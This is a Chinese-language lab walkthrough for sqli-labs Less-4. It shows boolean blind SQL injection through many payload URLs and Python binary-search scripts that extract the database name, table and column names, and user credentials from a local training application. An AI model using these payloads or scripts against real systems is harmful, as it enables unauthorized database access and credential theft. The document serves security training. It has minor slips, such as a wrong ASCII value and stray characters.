sqli-labs Less-4 通关笔记

blog 290

0x01 判断注入类型

本关和上一关基本一致。只是闭合的方式修改了一点点。

传入id=1a发现解析成功。可以判断是一个字符型的注入

http://localhost/sql/Less-4/?id=1a
sqli-labs Less-4 通关笔记
sql-labs Less-4

尝试传入id=1' 发现页面并没有报错。判断可能是闭合的问题

http://localhost/sql/Less-4/?id=1'

尝试传入id=1" 发现页面报错。尝试使用注释

http://localhost/sql/Less-4/?id=1" --+

尝试更换注释 发现页面依旧报错

http://localhost/sql/Less-4/?id=1" %23

尝试传入id=1") 发现页面返回正常

http://localhost/sql/Less-4/?id=1") --+

0x02 判断字段长度

http://localhost/sql/Less-4/?id=1") order by 5 --+
sqli-labs Less-4 通关笔记

发现页面报错。说是没有5列

尝试order by 3

http://localhost/sql/Less-4/?id=1") order by 3 --+
sqli-labs Less-4 通关笔记

尝试order by 4,页面报错。可以判断出列的长度为3列

http://localhost/sql/Less-4/?id=1") order by 4 --+
sqli-labs Less-4 通关笔记

0x03 布尔盲注获取数据

union联合查询注入。这里不再演示了。与上关类似。本关主要演示布尔注入

0x03.1 基于布尔 SQL 盲注讲解

0x03.1.1 left()函数

select left(database(),1);

Explain:database()显示数据库名称,left(a,b)从左侧截取 a 的前 b 位

sqli-labs Less-4 通关笔记
0x03.1.2 substr()函数和ascii()函数
 select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) > 110;

Explain:substr(a,b,c)从 b 位置开始,截取字符串 a 的 c 长度。Ascii()将某个字符转换 为 ascii 值

sqli-labs Less-4 通关笔记

可以发现。当当前数据库的名称即database()中的第一个表的第一个字母的ASCII大于100的时候。数据库的查询结果返回为1即true。当大于110的时候则返回为0(false)即假。在页面中true和false的关系就是页面正常和页面不正常。

select ascii(substr((select database()),1,1)) = 115;

可以发现当当前数据库名的第一个字符等于115的时候返回为1。也就是判断正确

ASCII码115则对应字母s

sqli-labs Less-4 通关笔记
0x03.3 mid()和ord()
select ord(mid((select database()),1,1)) > 110

Explain:mid(a,b,c)从位置 b 开始,截取 a 字符串的 c 位

Ord()函数同 ascii(),将字符转为 ascii 值

0x03.4 regexp()函数
mysql> select user();   
+----------------+
| user()         |
+----------------+
| root@localhost |        //当前使用的用户为root
+----------------+
1 row in set (0.00 sec)

mysql> select user() regexp '^r';   // 使用正则表达式匹配当前使用的用户是否以r开头。
+--------------------+
| user() regexp '^r' |
+--------------------+
|                  1 |      // 因为当前使用的用户是root以字母r开头 所以返回为1
+--------------------+
1 row in set (0.00 sec)

mysql> select user() regexp '[a-z]';  // 判断当前使用的用户是否是a-z。
+-----------------------+
| user() regexp '[a-z]' |
+-----------------------+
|                     1 |     // 因为当前使用的用户是root 所以是a-z之间的字母 所以返回1
+-----------------------+1
1 row in set (0.00 sec)


// 当正确的时候显示结果为 1,不正确的时候显示结果为 0.
// 在页面中注入的时候,正确的时候返回正确页面。错误的时候可能显示错误页面或页面无数据回显
0x03.5 like匹配函数

和上述的正则类似mysql匹配的时候我们可以用 ike 进行匹配。

mysql> select user();  // 查看当前使用的用户
+----------------+
| user()         |
+----------------+
| root@localhost |
+----------------+
1 row in set (0.00 sec)

mysql> select user() like "ro%";  // 判断当前使用的用户是否以字符ro开头
+-------------------+
| user() like "ro%" |
+-------------------+
|                 1 |
+-------------------+
1 row in set (0.00 sec)

mysql> select user() like "rt%";  // 判断当前使用的用户是否以字母rt开头
+-------------------+
| user() like "rt%" |
+-------------------+
|                 0 |
+-------------------+
1 row in set (0.00 sec)

// 提示:"%" 可用于定义通配符(模式中缺少的字母)。1

当正确的时候显示结果为 1,不正确的时候显示结果为 0

当正确的时候显示结果为 1,不正确的时候显示结果为 0.

当正确的时候显示结果为 1,不正确的时候显示结果为 0.1

0x03.6 and和or
mysql> select 1 = 1 and 1 = 1;
+-----------------+
| 1 = 1 and 1 = 1 |
+-----------------+
|               1 |
+-----------------+
1 row in set (0.00 sec)

mysql> select 1 = 2 and 1 = 1;
+-----------------+
| 1 = 2 and 1 = 1 |
+-----------------+
|               0 |
+-----------------+
1 row in set (0.00 sec)

mysql> select 1 = 1 or 1 = 2;
+----------------+
| 1 = 1 or 1 = 2 |
+----------------+
|              1 |
+----------------+
1 row in set (0.00 sec)

mysql> select 1 = 0 or 1 = 2;
+----------------+
| 1 = 0 or 1 = 2 |
+----------------+
|              0 |
+----------------+
1 row in set (0.00 sec)

总结:and运算符:需要and运算符前后的语句都为true(真)的时候。最后的结果才为真

or运算符:只要or运算符前后的语句有一个为true(真)的时候。则最后的结果为真

在很多编程语言中。and 等同于 && 或 & 而 or 等同于 || 或 | 。sql语句也不例外。

但是sql语句的or不等同于|

0x03.2 基于布尔注入获取数据

0x03.2.1 猜解当前数据库的长度
http://localhost/sql/Less-4/?id=1") and length((select database())) > 5 --+  回显正常
http://localhost/sql/Less-4/?id=1") and length((select database())) > 8  --+ 回显错误
http://localhost/sql/Less-4/?id=1") and length((select database())) = 8  --+ 回显正常

根据回显的结果来看当前数据库的长度为8位。

判断依据:id = 1 的时候有查询结果且不为空的时候就为true。而and符的后者当前数据库的长度等于8位结果也为真。所在最后页面才会有数据回显。因为8 > 5 所以5回显正常。而8不大于8。因此回显错误。

0x03.2.2 猜解数据库名
http://localhost/sql/Less-4/?id=1") and if(ascii(substr((select database()),1,1))>110,1,0) --+ 回显正常
http://localhost/sql/Less-4/?id=1") and if(ascii(substr((select database()),1,1))>115,1,0) --+ 回显错误
http://localhost/sql/Less-4/?id=1") and if(ascii(substr((select database()),1,1))>114,1,0) --+ 回显错误
http://localhost/sql/Less-4/?id=1") and if(ascii(substr((select database()),1,1)) = 115,1,0) --+回显正常

下面写个小脚本猜解数据库的名称:(当然也可以手动猜解)

import requests 
length = 1
database = ""
while True:
    start = 32
    end = 126
    tmp = (start + end) // 2 
    while start < end:
        url = 'http://localhost/sql/Less-4/?id=1") and if(ascii(substr((select database()),{},1)) > {},1,0) --+'.format(length,tmp)
        r = requests.post(url)
        if "Dumb" in r.text:
            start = tmp + 1
            tmp = (start + end)  // 2
        else:
            end = tmp
            tmp = (start + end) // 2 
    database += chr(tmp)
    length += 1
    // length 起始值为1 刚刚我们猜解了数据库名的长度为8 所以 length == 9 的时候 我们就终止循环
    if length == 9:
        print("当前数据库名称为: " + database)
        break

脚本运行结果

sqli-labs Less-4 通关笔记

可以得知当前运行的数据库名称为security

0x03.3 猜解当前数据库表的数量
http://localhost/sql/Less-4/?id=1") and if((select count(*) from information_schema.tables where table_schema=database()) > 3,1,0) --+   回显正常

http://localhost/sql/Less-4/?id=1") and if((select count(*) from information_schema.tables where table_schema=database()) > 4,1,0) --+ 回显错误

http://localhost/sql/Less-4/?id=1") and if((select count(*) from information_schema.tables where table_schema=database()) = 4,1,0) --+  回显正常
sqli-labs Less-4 通关笔记

根据结果可以发现security(即当前使用的数据库)4个数据表

0x03.4 猜解当前数据库的所有表名的长度
select length((select group_concat(table_name) from information_schema.tables where table_schema=database()));
0x03.4 猜解当前数据库表的名称
http://localhost/sql/Less-4/?id=1") and if((select length((select group_concat(table_name) from information_schema.tables where table_schema=database()))) > 30,1,0) --+ 回显错误

http://localhost/sql/Less-4/?id=1") and if((select length((select group_concat(table_name) from information_schema.tables where table_schema=database()))) > 25,1,0) --+ 回显正常

http://localhost/sql/Less-4/?id=1") and if((select length((select group_concat(table_name) from information_schema.tables where table_schema=database()))) > 27,1,0) --+ 回显正常

http://localhost/sql/Less-4/?id=1") and if((select length((select group_concat(table_name) from information_schema.tables where table_schema=database()))) > 28,1,0) --+  回显正常

http://localhost/sql/Less-4/?id=1") and if((select length((select group_concat(table_name) from information_schema.tables where table_schema=database()))) = 29,1,0) --+ 回显正常
sqli-labs Less-4 通关笔记

根据结果来看,可以得知当前数据库所有的表名加在一起的长度为29。

0x03.5 猜解当前数据库所有的表名
http://localhost/sql/Less-4/?id=1") and if(ascii(substr((select group_concat(0x7e,table_name,0x7e) from information_schema.tables where table_schema=database()),1,1)) > 100,1,0) --+  --+ 回显正常

http://localhost/sql/Less-4/?id=1") and if(ascii(substr((select group_concat(0x7e,table_name,0x7e) from information_schema.tables where table_schema=database()),1,1)) > 103,1,0) --+ 回显错误

http://localhost/sql/Less-4/?id=1") and if(ascii(substr((select group_concat(0x7e,table_name,0x7e) from information_schema.tables where table_schema=database()),1,1)) > 101,1,0) --+ 回显错误

http://localhost/sql/Less-4/?id=1") and if(ascii(substr((select group_concat(0x7e,table_name,0x7e) from information_schema.tables where table_schema=database()),1,1)) = 101,1,0) --+  回显正常

根据结果显示对应的Ascii为101。其对应的字符为e

mysql> select char(101);
+-----------+
| char(101) |
+-----------+
| e         |
+-----------+
1 row in set (0.00 sec)

写个脚本获取当前数据库中的所有表名

import requests 
length = 1
database = ""
while True:
    start = 32
    end = 126
    tmp = (start + end) // 2 
    while start < end:
        url = 'http://localhost/sql/Less-4/?id=1") and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)) > {},1,0) --+'.format(length,tmp)
        r = requests.post(url)
        if "Dumb" in r.text:
            start = tmp + 1
            tmp = (start + end)  // 2
        else:
            end = tmp
            tmp = (start + end) // 2 
    database += chr(tmp)
    length += 1
    if length  == 30 :
        print("当前数据库的所有数据表名为: " + database)
        break

脚本运行结果:

sqli-labs Less-4 通关笔记

可以得知security即当前数据库的表名分别为emails,referers,uagents,users

0x03.6 获取某个表的所有字段长度
http://localhost/sql/Less-4/?id=1") and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name = 'users')) > 10 ,1,0) --+ 回显正常

http://localhost/sql/Less-4/?id=1") and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name = 'users'))> 20 ,1,0) --+ 回显错误

http://localhost/sql/Less-4/?id=1") and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name = 'users')) > 15 ,1,0) --+ 回显正常

http://localhost/sql/Less-4/?id=1") and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name = 'users'))> 18 ,1,0) --+ 回显正常

http://localhost/sql/Less-4/?id=1") and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name = 'users'))=20 ,1,0) --+ 回显正常

根据结果可以发现,users表中的所有字段加起来的长度为20

0x03.7 获取某个表的所有字段名
http://localhost/sql/Less-4/?id=1") and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1)) > 100,1,0) --+ 回显正常

http://localhost/sql/Less-4/?id=1") and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1)) > 103,1,0) --+

http://localhost/sql/Less-4/?id=1") and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1)) > 105,1,0) --+ 回显错误

http://localhost/sql/Less-4/?id=1") and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1)) > 104,1,0) --+ 回显错误

http://localhost/sql/Less-4/?id=1") and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1)) = 105,1,0) --+

根据结果可以得知。users表中的第一个表的第一个字符为i。其对应的ASCII码为105

mysql> select char(105);
+-----------+
| char(105) |
+-----------+
| i         |
+-----------+
1 row in set (0.00 sec)

上脚本:

import requests 
length = 1
database = ""
while True:
    start = 32
    end = 126
    tmp = (start + end) // 2 
    while start < end:
        url = 'http://localhost/sql/Less-4/?id=1") and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"),{},1)) > {},1,0) --+'.format(length,tmp)
        r = requests.post(url)
        if "Dumb" in r.text:
            start = tmp + 1
            tmp = (start + end)  // 2
        else:
            end = tmp
            tmp = (start + end) // 2 
    database += chr(tmp)
    length += 1
    if length  == 30 :
        print(database)
        break

脚本运行结果:

sqli-labs Less-4 通关笔记

根据上述结果可以得知。uses中分别有id,username,password三个字段。

0x03.8 获取某个表的所有数据长度
http://localhost/sql/Less-4/?id=1") and if(length(((select group_concat(id,0x7e,username,0x7e,password) from users))) > 210,1,0) --+  回显正常

http://localhost/sql/Less-4/?id=1") and if(length(((select group_concat(id,0x7e,username,0x7e,password) from users))) > 215,1,0) --+  回显正常

http://localhost/sql/Less-4/?id=1") and if(length(((select group_concat(id,0x7e,username,0x7e,password) from users))) > 218,1,0) --+  回显错误

http://localhost/sql/Less-4/?id=1") and if(length(((select group_concat(id,0x7e,username,0x7e,password) from users))) = 218,1,0) --+ 回显正常

根据上诉结果可以得知。当前users表中的所有数据长度为218。

0x03.9 获取某个表的所有数据
http://localhost/sql/Less-4/?id=1") and if(ascii(substr((select group_concat(id,0x7e,username,0x7e,password) from users),1,1)) > 50,1,0) --+ 回显错误


http://localhost/sql/Less-4/?id=1") and if(ascii(substr((select group_concat(id,0x7e,username,0x7e,password) from users),1,1)) > 45,1,0) --+ 回显正常

http://localhost/sql/Less-4/?id=1") and if(ascii(substr((select group_concat(id,0x7e,username,0x7e,password) from users),1,1)) > 48,1,0) --+ 回显正常

http://localhost/sql/Less-4/?id=1") and if(ascii(substr((select group_concat(id,0x7e,username,0x7e,password) from users),1,1)) > 49,1,0) --+ 回显错误

http://localhost/sql/Less-4/?id=1") and if(ascii(substr((select group_concat(id,0x7e,username,0x7e,password) from users),1,1)) = 49,1,0) --+ 回显正常

根据上诉结果为我们可以得知users表中的第一个表第一个数据的值为1。其对应的ASCII码50

mysql> select char(49);
+----------+
| char(49) |
+----------+
| 1        |
+----------+
1 row in set (0.00 sec)

上脚本

import requests 
length = 1
database = ""
while True:
    start = 32
    end = 126
    tmp = (start + end) // 2 
    while start < end:
        url = 'http://localhost/sql/Less-4/?id=1") and if(ascii(substr((select group_concat(id,0x7e,username,0x7e,password) from users),{},1)) > {},1,0) --+'.format(length,tmp)
        r = requests.post(url)
        if "Dumb" in r.text:
            start = tmp + 1
            tmp = (start + end)  // 2
        else:
            end = tmp
            tmp = (start + end) // 2 
    database += chr(tmp)
    length += 1
    if length  ==  218 :
        print(database)
        break

脚本运行结果

sqli-labs Less-4 通关笔记

根据上诉结果我们可以得知id为1 用户名为Dumb密码为Dumb。id为2用户名为Angelina密码为I-kill-you等等

分享